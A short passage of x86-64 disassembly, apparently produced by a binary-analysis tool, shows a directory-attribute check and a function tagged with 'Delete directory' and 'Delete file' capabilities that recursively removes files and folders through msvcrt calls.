sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
shr eax, 4
and eax, 1
add rsp, 0x28
ret

Function at 0x180002380
Capabilities:
Delete directory
Delete file

Disassembly:
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1800032e0
mov edx, 0x4000
lea rcx, [rsp + 0x20]
call fcn.180003480
mov rcx, rax
mov rbx, rax
call fcn.180002360
mov rcx, rbx
test eax, eax
je 0x1800023d9
lea rdx, [0x180002160]
call fcn.180003e50
mov rcx, rbx
call sub.msvcrt.dll__rmdir
mov rcx, rbx
call sub.msvcrt.dll_free
add rsp, 0x40
pop rbx
ret
call sub.msvcrt.dll_remove
mov rcx, rbx
call sub.msvcrt.dll_free
add rsp, 0x40
pop rbx
ret